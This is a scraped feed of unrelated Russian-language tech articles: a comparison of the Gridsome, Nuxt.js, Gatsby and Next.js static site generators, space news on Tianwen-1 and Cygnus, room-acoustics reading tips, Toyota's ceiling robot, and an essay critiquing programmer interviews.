Примерно два года назад я почти полностью перешёл на Jamstack. Я решил поближе познакомиться с Vue.js, так как этот фреймворк выглядел самым дружелюбным среди существующих JavaScript-инструментов. Я сделал свой персональный сайт с использованием Nuxt.js. Это — генератор статических сайтов, который теперь называют интуитивно понятным фреймворком для разработки Vue.js-приложений. Когда я окончил работу над этим проектом, вышла первая версия Gatsby, системы для создания статических сайтов, основанных на React. Я использовал Gatsby в моём следующем проекте, создав сайт Kentico Advantage, простой проект, направленный на поддержку веб-агентств. Это был мой первый опыт применения React. И то, с чем я тогда столкнулся, мне очень не понравилось. Очень большие сложность возникали даже там, где надо было сделать какую-нибудь мелочь.

Следующей моей разработкой был мой собственный сайт свадебной тематики. Тогда я дал Gatsby и React ещё один шанс, но, в итоге, всего через пару дней, перешёл на фреймворк Gridsome для Vue.js. В то время этот генератор статических сайтов стремительно набирал популярность. Он попадался мне буквально на каждом углу. Благодаря этому SSG мне удалось сделать простой рабочий сайт часа за три. Я был просто очарован. Vue.js ещё немного вырос в моих глазах.

Затем появился проект Sourcebit. Это — плагин, применяемый для объединения различных источников данных и SSG, ответственный за преобразование данных и упрощающий их использование. При этом единственным генератором статических сайтов, основанным на JavaScript и поддерживаемым Sourcebit, был Next.js. Поэтому я, изучив основы, воспользовался Next.js в очередном проекте.

Выбор инструментов, основанный на собственном или чужом опыте


Выше я упомянул инструменты, которыми чаще всего пользовался в последние пару лет. Но, если их сравнить, то, как это часто бывает, среди них нельзя будет выбрать тот, который можно без раздумий ставить на первое место.

Предположим, вы — разработчик, который отвечает за выбор хорошего инструментария для очередного проекта. Возможно, от того, что вы выберете, зависит срок начала работ над проектом, поэтому маловероятно то, что вы можете позволить себе длительные эксперименты со множеством таких инструментов.

Выбирать инструменты можно, основываясь как на собственном опыте, так и на опыте других людей. Если вы раньше работали с Angular, то вы, возможно, решите сначала взглянуть на инструменты, предусматривающие применение этого фреймворка. Если вы в последний раз работали с Angular очень давно — узнайте у коллег о том, чем пользуются они. Я, правда, в такой ситуации никого ни о чём не спрашивал, а просто сразу выбрал Vue.js. Проблема заключалась в том, что все мои коллеги раньше работали с React. Поэтому мне, в итоге, пришлось самому, пользуясь Google, решать возникающие проблемы.

Ещё один фактор, влияющий на выбор фреймворка — это размер проекта. Если вы создаёте личный сайт, проверяя на нём инструменты, то вопросы, возникающие у вас в ходе работы, будут простыми. Ответы на них обычно есть в документации к выбранному инструменту. Но, предположим, вы занимаетесь разработкой корпоративного проекта. Там применяются частичные сборки, некоторые части проекта рендерятся на сервере, в нём используется множество источников данных. Если в ходе работы у вас возникнут какие-то сложности, то с помощью документации справиться с ними не удастся, ответы придётся искать, задавая вопросы коллегам или на чём-то вроде Stack Overflow.

Выше я упомянул три JavaScript-инструмента. Но Jamstack — это не всегда JavaScript. Возможно, вам ближе PHP или Ruby. Для того чтобы найти подходящий вам генератор статических сайтов — взгляните на следующую таблицу.


Я ничего не могу сказать о платформах, работать с которыми я пока не пробовал. Но я могу поделиться своими идеями относительно Vue.js, React и соответствующих генераторов статических сайтов.

Vue.js: сравнение Gridsome и Nuxt.js


Фреймворк Vue.js известен и знаменит своей прекрасной документацией. Gridsome идёт по тому же пути. Документация к этому SSG написана очень хорошо. В ней имеется всё то, чего может ожидать тот, кто начинает работу с Gridsome. Правда. Мне, когда я читал эту документацию, казалось, что её авторы читают мои мысли. Gridsome использует GraphQL. Поэтому источники данных к сайту надо подключать с применением специальных плагинов. Gridsome автоматически связывает модели данных с шаблонами, имеющими соответствующие имена, а так же организует маршрутизацию. Для новичков это — большой плюс. Gridsome позволяет использовать внешние JavaScript-ресурсы. Знаю, это не выглядит как «лучшая практика», но, например, если загрузить шаблон с сайта наподобие HTML5UP.net, в таком шаблоне будет присутствовать некоторый объём JS-кода. Когда мне понадобилось что-то подобное в Nuxt.js, я столкнулся со сложностями. Мне, в итоге, пришлось переписывать соответствующий функционал на Vue.

Если обобщить мой опыт использования Gridsome, то могу отметить, что работалось мне легко. Фреймворк помогал мне добиться того, что мне было нужно, мне не приходилось бороться с препятствиями, которые ставила бы передо мной эта платформа. Gridsome позволяет выйти на простой работающий сайт буквально за несколько часов.

При работе с Nuxt сложнее всего было понять особенности работы с хранилищем данных Vuex и создать Vuex.store. Именно такие хранилища используются в Nuxt.js-проектах. Если компоненту требуется работать с данными, то нужно исходить из того факта, что все данные хранятся в одном месте. Можно, конечно, хранить данные на уровне компонентов, но часто бывает так, что одними и теми же данными пользуются разные компоненты. В результате, чтобы избежать дублирования кода, нужно пользоваться единым хранилищем данных. Для реализации такого хранилища не нужно каких-то особых плагинов, собирающих откуда-то необходимые данные. Хотя я, например, использовал один плагин, предназначенный для работы с CMS без пользовательского интерфейса Kentico Kontent. Это, определённо, облегчило мне жизнь, но с тем же успехом можно было бы воспользоваться Fetch API с Delivery SDK. После того, как всё у меня заработало, я понял, что мне нравится этот паттерн. Он надёжен и гибок. Я, для работы над большими проектами, выбрал бы именно его. Для его использования всего лишь надо, в самом начале, потратить некоторое время на знакомство с ним.

Nuxt.js поддерживает и серверный рендеринг, и режим предварительного просмотра. Вокруг него сформировалось большое сообщество. Всё это позволяет говорить о том, что Nuxt.js — это более зрелый проект, чем Gridsome, и о том, что Nuxt.js лучше подходит для серьёзных сайтов.

Обобщим сведения о Gridsome и Nuxt.js, перечислив в следующей таблице их сильные стороны (отмечены знаком «+») и слабости (отмечены знаком «-»).


React: сравнение Gatsby и Next.js


Начнём с Gatsby. Я полагаю, что самая интересная возможность этого фреймворка представлена инструментом для работы с GraphQL, который называется GraphiQL. Gatsby использует GraphQL. А GraphiQL позволяет работать с данными, которые используются на сайте. Не могу не подчеркнуть важность и полезность этого инструмента. Он избавляет разработчика от необходимости чтения документации по используемому источнику данных. GraphiQL позволяет, в интерактивном режиме, просматривать данные. Из данных можно выбирать то, что нужно. В результате получаются автоматически создаваемые GraphQL-запросы, которые копируют в компоненты.


Работа с GraphiQL

Использование в Gatsby GraphQL означает ещё и необходимость поиска плагинов для применяемых источников данных. Правда, такие плагины есть для всех основных CMS без пользовательского интерфейса. Ещё одна сильная сторона Gatsby заключается в том, что для этого фреймворка создано огромное количество плагинов. Существуют плагины буквально на все случаи жизни — от SEO, до прогрессивной загрузки изображений и до экспорта GraphQL-схемы.

А вот при работе с Next.js чувствуется недостаток в стандартных средствах для работы с данными. В результате разработчику приходится тратить время на то, чтобы понять, чем именно пользоваться в каждой конкретной ситуации. Я, например, решая подобные задачи, вдохновлялся этим репозиторием и пользовался паттерном «Репозиторий». Если вы можете прожить и без GraphQL, то Next.js даст вам всё то, что способен дать Gatsby, и даже больше.


Маршрутизация в Next.js

В Next.js применяется модель маршрутизации, основанная на именах файлов. Это очень сильно упрощает поиск страниц и шаблонов даже в ситуациях, когда приходится работать с незнакомым проектом. Этот фреймворк позволяет комбинировать статические страницы и страницы, сгенерированные динамически. Два этих механизма создания страниц можно даже объединить на одной странице. Это значительно облегчает реализацию функционала предварительного просмотра материалов. И Gatsby, и Next.js умеют создавать инкрементные сборки. Но в случае с Gatsby необходимо хостить сайт на Gatsby Cloud, а это возможно только при использовании плагинов, подготовленных с соблюдением особых требований.

Сравнивая Next.js и Gatsby, можно отметить, что Next.js генерирует релиз-бандлы меньшего размера. Если говорить о поиске справочных материалов и о получении ответов на вопросы от членов сообщества, то, как показала практика, Gatsby и Next.js в этом плане выглядят практически одинаково.

Обобщим данные о плюсах и минусах Gatsby и Next.js.


Другие соображения, которые стоит принять во внимание при выборе платформы


Решая вопрос о том, какой именно инструмент использовать для веб-проектов, мы часто рассуждаем так: «Документация тут хорошая, многие говорят об этом в Twitter, релизы выходят часто, существует много плагинов». Такими рассуждениями обычно всё и заканчивается. Если вы полагаете, что будете пользоваться какой-то платформой достаточно долгое время, если вы думаете, что она может найти применение в нескольких проектах или даже стать официальным инструментом во всей вашей компании, вам стоит задаться ещё и следующими вопросами:
  • Как долго существует инструмент, какова его история?
  • Есть ли у этого инструмента проблемы с разработкой крупномасштабных проектов?
  • С какими сервисами он интегрируется?
  • Можно ли, если понадобится, перейти с него на что-то другое?
  • Кто является владельцем инструмента и каковы планы по его развитию?
  • Есть ли у инструмента какие-то платные возможности?

Мой выбор


Если говорить о выборе веб-фреймворков, то я, всегда, когда это возможно, стремлюсь пользоваться Vue.js. Мне кажется, что этот фреймворк, без особого вмешательства в его стандартные настройки, позволяет быстро и просто создавать то, что мне нужно. Обычно Vue.js я использую там, где нужны пользовательские элементы и традиционные компоненты веб-сайтов, нуждающиеся в динамическом функционале. Я создаю на Vue.js небольшие сайты. А, так как для больших проектов Vue.js я не использую, я склоняюсь к применению Gridsome.

Для более крупных и серьёзных проектов я применяю библиотеку React. В Kentico практически вся фронтенд-разработка основана на React. В этом направлении компания планирует двигаться и в будущем. Поэтому мне логично поступать так же. Если же говорить о выборе генератора статических сайтов, то сейчас я использую и Next.js, и Gatsby, но больше склоняюсь к первому из них. Для меня самая главная возможность этого фреймворка заключается в маршрутизации, основанной на файлах, которая поддерживает и динамические маршруты. Мне нравится и совместимость с Sourcebit, которая позволит, если понадобится, поменять источники данных или SSG и при этом не переписывать всё с нуля.

Какими генераторами статических сайтов вы пользуетесь?

Let's block ads! (Why?)

Китайская космическая станция в полете к Марсу сделала селфи в дальнем космосе отстрелив камеру ради нескольких фото

Первая селфи-фотография «Тяньвэнь-1» на расстоянии более 24 млн км от Земли.

Китайская космическая станция «Тяньвэнь-1» на пути к Марсу отделила от себя небольшую камеру, чтобы сделать несколько своих фотографий и прислать их на Землю.
Автоматическая межпланетная станция (АМС) «Тяньвэнь-1» сейчас находится в далеком космосе на расстоянии более 24,1 миллиона километров от Земли. Полет проходит в штатном режиме. Космический аппарат пролетел за два месяца после старта более 188 миллионов километров.

Инженеры китайского национального космического управления (CNSA) в процессе подготовки АМС к полету планировали реализовать необычный способ сделать селфи аппарата с помощью одноразовой камеры. Для этого они оснастили «Тяньвэнь-1» небольшой камерой с двумя широкоугольными объективами, размещенных на разных сторонах камеры. Этот инструмент имел только одну задачу — отделиться от АМС в день празднования Национального дня Китайской Народной Республики (1 октября) и попытаться сделать несколько фотографий своей материнской станции.

После отделения камера делала один кадр в секунду, вращаясь и улетая от «Тяньвэнь-1». За несколько секунд после отделения камера передала по Wi-Fi на «Тяньвэнь-1» сделанные фотографии и была потеряна в космосе. Через некоторое время система связи «Тяньвэнь-1» транслировала селфи станции на Землю.


Видео первых секунд после процедуры отделения камеры, которое было сделано бортовой камерой «Тяньвэнь-1».

Фактически, это дорогая одноразовая камера теперь стала еще одним рукотворным и неуправляемым объектов в космосе. Стоимость этого эксперимента CNSA не озвучила. Официально CNSA опубликовало только две селфи фотографии «Тяньвэнь-1», полученные с помощью этой камеры.


Вторая селфи-фотография «Тяньвэнь-1» на расстоянии более 24 млн км от Земли.

Ранее 23 июля 2020 года тяжелая ракета-носитель «Чанчжэн-5» (CZ-5) успешно вывела на заданную орбиту космические аппараты проекта «Тяньвэнь-1» для исследования Марса. «Тяньвэнь-1» (в переводе это означает «вопросы к небу») состоит из орбитального аппарата и посадочной платформы с первым китайским марсоходом, у нее на борту находятся 13 научных приборов. Согласно полетному плану, «Тяньвэнь-1» достигнет Марса в начале февраля 2021 года и начнет проводить детальную съемку поверхности планеты для выбора наиболее подходящего места посадки. Спустя два месяца после выхода на орбиту спускаемый модуль должен совершить посадку на поверхность Марса, а находящийся внутри него марсоход отправится на исследование планеты.

Let's block ads! (Why?)

Грузовой корабль Cygnus для МКС. 2020 год: 77 всего, 69 успешных, 28 от США

Вячеслав Ермолин, 3 октября 2020 г.

Текущая статистика запусков
Текущая статистика запусков

Миссия:
Доставка груза на МКС. Пристыковка к модулю Unity (Node-1). Разгрузка. Научные и технологические эксперименты на орбите в составе станции и автономном полете. Утилизация мусора. Имитация пожара. Второй полет по контракту CRS-2.

Девиз:
«Снабжение Международной космической станции невзирая на проблемы и пандемию». Официального девиза нет.

Время и место старта:
3 октября 2020 г, 01:16 UTC.Стартовая площадка 0A, остров Wallops, Virginia, USA.

Ракета-носитель:
Antares 230+ — двухступенчатая ракета-носитель среднего класса. Разработанная Orbital Sciences Corporation для запуска полезных грузов массой до 8 тонн на низкую земную орбиту. Для запуска грузового транспортного корабля Cygnus по программе снабжения МКС — Commercial Orbital Transportation Services.

Полезная нагрузка:
Cygnus («Лебедь») — частный автоматический грузовой корабль снабжения МКС. Разработан Orbital Sciences Corporation в рамках программы Commercial Orbital Transportation Services. Корабль одноразовый и невозвращаемый, после отстыковки от МКС и сведения с орбиты грузовой корабль с утилизируемым мусором с МКС разрушается при входе в атмосферу.
Масса доставленного груза для МКС различного назначения 3 400 кг.

Орбита:
Первоначальная орбита 171 x 295 км, 51.63°.
Подъем орбиты и пристыковка к МКС (около 420 км) через два дня после старта.

Интересное:
— 13-й запуск ракеты-носителя Antares (всех модификаций). Одна авария.
— 15-й запуск грузового корабля Cygnus (двух модификаций). Одна авария.
— 3-й запуск Cygnus по программе CSR-2.
— 4-й запуск 2020 года в США по пилотируемой программе МКС.
— 28-й запуск от США в 2020 году. Три аварии.
— 3-й запуск Northrop Grumman в этом году.
— Стоимость миссии (без грузового корабля) 80 млн $.
— Стоимость выведения 1 кг груза на НОО 10 000 $.

Ссылка на изображение в высоком качестве.
Статья с портала NSF
Информация от Everyday Astrounavt

Логотипы и патчи миссии
Логотипы и патчи миссии

Личное мнение:
Программа Antares-Cygnus является второй в «государственно-частном партнерстве» снабжения грузами МКС. За деньги НАСА создано две системы: Falcon 9-Dragon и Antares-Cygnus. Сейчас второй этап программы CRS-2 снабжения грузами МКС на 20-е годы.

Ракета-носитель Antares и грузовой корабль Cygnus спроектированы и построены по принципу «с мира по нитке» (диаметрально противоположно SpaceX). Первую ступень делают украинцы, двигатели для нее русские, вторая ступень от прошлых проектов. Грузовой корабль из итальянского грузового отсека и американского служебного модуля. Яркий пример международного сотрудничества. Цена как у SpaceX.

В информационном освещении запуски Antares-Cygnus не модная тема. Хотя свою задачу по снабжению МКС выполняет нормально.

Let's block ads! (Why?)

«Ремонт для звука»: разбираемся с акустической подготовкой помещения — 10 тематических материалов

Для чтения на выходных мы подобрали статьи о том, как улучшить опыт прослушивания с помощью незначительной [в некоторых ситуациях — масштабной] доработки помещения.

Фотография: Henry & Co. Источник: Unsplash.com
Фотография: Henry & Co. Источник: Unsplash.com

Акустика помещения: фундамент. Объемный гайд по теме звукоизоляции. Обсуждаем «коробку в коробке», «бутерброды», «порхающее эхо» и практические рекомендации.

Акустика помещения: меблировка. Продолжение разбора, но уже об акустической обработке — бас-ловушках, диффузорах, поглотителях звука в формате специальных плит и электронной коррекции звучания (эта тема рассмотрена в ознакомительном подразделе).

Как подготовить помещение для прослушивания музыки. Тематический обзор для знакомства с самыми базовыми моментами. Рассказываем, что не забыть на этапе ремонта, какие есть варианты с точки зрения оформления интерьера и стоит ли использовать «улучшайзеры». Плюс — делимся примерами инсталляций «Аудиомании».

«Ультимативный гайд» по встраиваемой акустике. Этой темой занялись еще в 80-х, но сегодня «встройка» стала эффективнее. Она неприхотлива, может работать при повышенной влажности и даже на открытом воздухе. Для таких задач аудиобренды предлагают специальные варианты корпусных колонок, но у них — как у любых систем — есть свои преимущества и недостатки. Поговорим о них и ключевых характеристиках встраиваемых систем.

Вешать телевизор «над камином» или нет: базовые советы. Есть мнение, что такой подход — в тренде. Но эксперты говорят, что лучше не торопиться: оценить потенциальное тепловое воздействие, угол обзора, степень болезненности вашей шеи и ряд других нюансов. Основные из них представлены в виде чеклиста в «подвале» этого материала.

«Что по звуку» в умном доме. Обсуждаем, новые продукты и технологии — акустику MusicCast, специальные ресиверы, саундбары и принципы работы «мультирумов». Еще — разбираемся, где есть Dolby Atmos, 3D-аудио и голосовое управление.

Акустика помещения, советы и тонкости настройки. Что даст гораздо больший эффект чем устранение акустических дефектов помещения? Здесь собраны рекомендации для тех, кто слушает музыку в обычной жилой комнате: от определения точек отражения и резонансов до работы над «провалами» и «глухотой» пространства.

Акустика для чайников: как правильно расставить колонки в комнате. «Продолжение» предыдущего материала. Обсуждаем борьбу с отражениями в домашних условиях на примере четырех факторов, оказывающих отрицательное влияние на опыт прослушивания. Это — время реверберации, стоячие волны, ранние отражения и «порхающее эхо». Спасти звук подручными средствами все-таки возможно — детали вы найдете в статье.

Знакомство с новыми кинозалами «Аудиомании». В одном из выпусков подкаста «Звук» мы обсудили итоги большой стройки, проходившей в нашем московском офисе. Новые кинозалы стали частью шоурума — он доступен для клиентов, которые хотели бы оценить возможности нескольких моделей аудиосистем еще до принятия решения о покупке.

Как мы сделали аудиовыставку. После запуска кинозалов — кстати, один из них выполнен в формате жилой комнаты с «невидимой» акустикой — мы организовали открытую экспозицию: показали собственные бренды и познакомили гостей с их разработчиками.

———

Дополнительное чтение — новые обзоры наушников:

———

Let's block ads! (Why?)

Toyota показала домашнего робота-помощника, который ездит по потолку

image

Компания Toyota Research Institute представила домашнего робота, который способен передвигаться по рельсам на потолке. Он может помогать по хозяйству — протирать поверхности, убирать предметы в холодильник и выполнять другие функции.

Инженеры объяснили идею крепления на потолке тем, что иногда домашним роботам не хватает высоты, чтобы выполнять задачи. Кроме того, это упрощает их навигацию, так как на потолке нет препятствий в виде предметов или, к примеру, домашних животных. Также решается проблема питания, поскольку механизм всегда подключен к сети. Рельсы же могут выдержать гораздо больший вес, который берет на себя робот.

Робот оснащен двумя манипуляторами и подвижной головой с бинокулярной камерой. В настоящее время для его применения в разных сферах необходимо менять манипуляторы. На демонстрации разработчики, в частности, показали захват для предметов и насадку-губку для мытья.

image

На презентации показали одновременно двух роботов-помощников. Одним из первых минусов идеи является то, что дом нужно изначально проектировать под такого робота.

Как пояснили в TRI, роботов обучали с использованием виртуальной реальности, при этом человек-тренер видит то, что видит робот, в реальном времени, а затем приказывает ему выполнять различные действия.

image

Также были продемонстрированы новые мягкие захваты, которые обладают способностью тактильного распознавания высокой плотности. Они представляют собой пузырь, давление в внутри которого меняется в зависимости от типа предмета. Также внутри располагается камера глубины.

image

См. также:

Let's block ads! (Why?)

Проблемы в собеседовании на позицию программиста

Здравствуйте!
Мне так сильно понравилось ваша вакансия и ваша компания и ваши идеалы корпоративной культуры, что я решил предложить вам мою скромную кандидатуру. Вот моё супер-уникальное резюме, пришлите тестовое, а еще мы можем пообщаться час-два для того чтобы мы примерно поняли хотим ли мы друг друга.

Преамбула


Я работаю программистом давно. Так сложилось что мне довелось оказаться по обе стороны «баррикад»: я проходил не менее сотни собеседований, чаще получая отказ и проводил не менее пятидесяти собеседований, чаще отказывая.
Обычно меня собеседовали два человека: менеджер\босс и программист\технарь. Реже — один, еще реже — трое и более. Задают вопросы они, как правило, из совершенно разных областей, поэтому разделим условно собеседование на тестовое задание, инспектирование софт скиллов и инспектирование технических скиллов.

Тестовое задание


Вряд ли я отправлю обратно решение к тестовому заданию, если не проверю что оно рабочее и выполняет поставленную задачу. Соответственно на проверку другому программисту приходят, в основном, только рабочие решения, среди которых он должен выбрать те, которые по его оценке (мнению) являются достаточно подходящими. Поработав со множеством программистов в команде я не по наслышке знаю об их лютой нетерпимости к чужому коду, к чужому ходу мысли. Поэтому даже если вы предложите им решение лучшее, чем могло бы созреть у них в голове, вы сильно рискуете нарваться на непонимание и отказ. При этом на просьбу расписать причины, можно получить как совершенно левую ахинею (однажды мне в укор поставили то что я выслал задание в архиве, а не опубликовал его на своём гитхабе, конечно, буду я пачкать своё пространство), так и полный игнор. Поэтому игра в тестовое задание это на самом деле игра в «понравься другому технарю, о котором ты не знаешь ничего», то есть великий рандом.
Кстати, по очередности тестового задания и собеседования вы можете уловить отношения в фирме между менеджером и программистом. Если вам предлагают решать тестовое задание до собеседования, значит менеджер себя считает более загруженным, чем своих подчиненных, пытается сэкономить своё время по максимуму, делегируя базовую проверку. Если же тестовое задание вам предлагают решить уже после собеседования, значит у программистов в фирме в текущее время настолько большая нагрузка, что их даже не отвлекают на проверку тестовых заданий случайных людей. Еще больше отношений вы можете уловить, если собеседование проходит поэтапно, сперва с одними людьми, затем с другими. Надеюсь вы уцепились за суть.

Проверка софт скиллов


«Расскажите о себе?» — вопрос, вводящий в ступор человека с глубоко-техническим складом ума (будем в дальнейшем называть его конструктор). Конструктор может немного покопавшись в памяти вывалить своё имя, возраст, рост и вес, национальность и цвет глаз, но при этом не поймет какое это все имеет отношение к делу, ведь он пришел продавать свой технический скилл, а не себя. «Что конкретно вы хотите обо мне узнать?» — обычно отвечаю я и наблюдаю разочарование в глазах босса, босс редко любит когда ему отвечают вопросом на вопрос, ведь теперь мячик на его стороне и думать приходится ему. Если бы я мыслил по другому, то конечно, я бы вывалил на него заранее подготовленную смачную историю меня любимого с детальными подробностями того насколько я клёвый, классный и, что самое главное, лучше чем остальные. Но если бы я мыслил по другому, я вряд ли стал бы программистом. Поэтому на ответ «что хотите то и рассказывайте» я начинаю тупо перечислять где я работал и какими проектами занимался, плюс какие технологии использовал, чем совершаю очередную ошибку, поскольку всё это уже расписано в резюме и не вызывает ничего кроме скуки. Ведь словами невозможно донести тот объем, вес и значимость, которые я ощущаю в своей голове.

И здесь я делаю допущение: допустим, что программист НЕ ДОЛЖЕН обладать сильными софт-скиллами.

Пойдем от обратного: допустим, что программист ДОЛЖЕН обладать сильными софт-скиллами, тогда — зачем нужен менеджер? Зачем тогда вообще нужна фирма, если я могу пойти на биржу фриланса и найти себе там самостоятельно заказчика? Господин Форд — великий изобретатель прошлого века, он изобрел конвеер, невероятно эффективную вещь, которую, видимо, еще не все научились использовать. В некоторых фирмах просекли эту фишку и вставили между программистами и заказчиками особое звено — менеджеров, по сути являющихся переводчиками с «человеческого» на «программисткий». Задача менеджера — договориться с программистом и заказчиком, задача программиста — «договориться» с кодом. Ожидая от программиста дополнительного повышенного скилла договариваться и коммуницировать, вы отсекаете тех программистов, которые за счет отсутствия этих софт-скиллов освободили в своей голове достаточно места чтобы прокачать скилл разработки гораздо глубже.

Представим себе что мы попали на собеседование в фирму, которая понимает эту идею. Тем не менее оценить общую коммуникабельность она всё равно желает, просто для того чтобы отсеять совершенно неспособных к командной работе людей. Каким образом это можно сделать эффективно за 1-2 часа разговора? Никаким. Я не видел ни одного человека на собеседовании, который вел бы себя распутно, неуважительно или неприемлемо выражался, и это естественно, ведь на собеседовании мы все максимально открыты, дружелюбны и адекватны. Поэтому, пропустив через себя тысячи собеседующихся, собеседующий начинает больше обращать внимание на другие детали: как человек одет, какая у него прическа, как от него пахнет, какие гримассы строит, какие эмоции проявляет, какие жесты использует, как долго смотрит в глаза, как часто отводит взгляд, как быстро отвечает на вопросы. И формирует своё заключительное «экспертное» решение, по сути, на голой интуиции. Ведь перед ним стоит задача «выбрать лучшего на текущий момент», а не «отсеять подходящих от неподходящих», и он не может пойти против этой задачи.

Оценка быстроты реакции — отдельная ошибка. Мгновенно отвечающие люди на самом деле даже не успевают подумать. Люди же тормозящие с ответом, напротив, погружаются в чертоги разума, тщательно взвешивая все возможные варианты, пока чувствуют что было бы уместно еще немного подумать. Даже если у них сразу появляется подходящий ответ.

Проверка технических скиллов


Казалось бы что техническая подкованность на порядки более значима, чем способности к коммуникации, но по факту редко какая фирма устраивает собеседование таким образом, что техническая часть превосходит социальную. Бывают, конечно, исключения, однажды мне довелось 4 часа общаться с очень дружелюбным технарём, от которого я узнал множество интересных, но бесполезных в моей реальной жизни фишек.
Так что же, реально за 1-2 часа разговоров оценить человека достаточно хорошо чтобы принять правильное решение? Конечно же нет. Самая главная ошибка здесь — точно такая же как и в предыдущей части — задача найти лучшего, а не отсеять подходящих от неподходящих. В результате собеседование превращается из поиска знаний в поиск пробелов, ведь чем больше пробелов найдет собеседующий, тем менее подходит кандидат и тем проще сложить-вычесть-посчитать виртуальные очки. Дополнительная ошибка в том что мы проверяем у кандидата наличие лишь тех знаний, которые знаем сами, полностью упуская из виду те знания, которых не знаем, которые могли бы быть намного более полезными в фирме, чем очередная копия меня.

Особенно скользкое в происходящем то, что превращенное в экзамен инспектирование проверяет не способность кандидата программировать, а его способность объяснить, донести, научить, то есть по сути та же самая проверка коммуникативных способностей в иной плоскости. Я, например, могу быстро и качественно спроектировать нормализованную структуру базы данных или нормализовать уже имеющуюся, но совершенно не в состоянии объяснить словами другому человеку как это делать, потому что когда я нормализую, я не использую русские слова, я использую внутренние знания, приобретенные не на парах в университете, а на «боевом» опыте. Эту разницу скиллов между исполнителем и учителем понимают не все. Другой каноничный пример — путаница в шаблонах проектирования. Я быть может и знаю тот шаблон что вы у меня спрашиваете, но в моей голове он называется по другому и его реализация может немного отличаться.

Особенно мной нелюбимое — инспектирование очень мелких и сверх-специфичных деталей, место которым в Гугле, а не в моей голове. За что отвечает третий параметр в функции пузырьковой сортировки? Организуйте очередь двумя стеками. Как сделать выборку так чтобы не так, а вот так? Конечно, хорошо когда эти детали находятся в голове, программист экономит время, а фирма экономит деньги. Но чего вы никогда не узнаете задавая подобные вопросы — это что лежит у кандидата в голове ВМЕСТО этих знаний, знаний такой низкой ценности. Быть может там глубокое понимание асинхронности, а может навык подката к девочкам на вечеринках, но вопрос задан, время потрачено, собеседование на очередной шаг приблизилось к своему завершению, а вы разведали мало значимого.

Про просьбы скомпилировать с бумаги код в голове даже говорить не хочется. Вы на позицию ищите программиста или компилятор\интерпретатор? В повседневной рабочей рутине программист привык полагаться на среду, использовать ее возможности по максимуму, экономя своё «процессорное» время там, где это возможно. Поэтому неудивительно что такого рода задания выполняются медленно и часто не правильно. Вместо них было бы лучше спросить какими средами он пользуется и что ему в них нравится, быть может найдете для себя что-то новое, вкусное.

Есть ли выход?


Если вы вознамерились экономить на мозгах, извините, вы будете продолжать пропускать нужные кадры в погоне за лучшими. Могу лишь обратить ваше внимание на то, что хорошие мозги почти постоянно находятся в поиске места лучше, чем их текущее, поэтому потерять «лучший» мозг так же легко как и «найти».
Если же у вас достаточно бюджета, вы можете попробовать следующий трюк: предложите 1 испытательный месяц работы всем желающим за пол ставки и принимайте решение по результатам работы. Его можно скомбинировать с предварительными собеседованиями, если задачу переключить с поиска лучшего на поиск подходящих, но стоит помнить о том что собеседования такого рода практически бесполезны и лишь отнимают время.

Let's block ads! (Why?)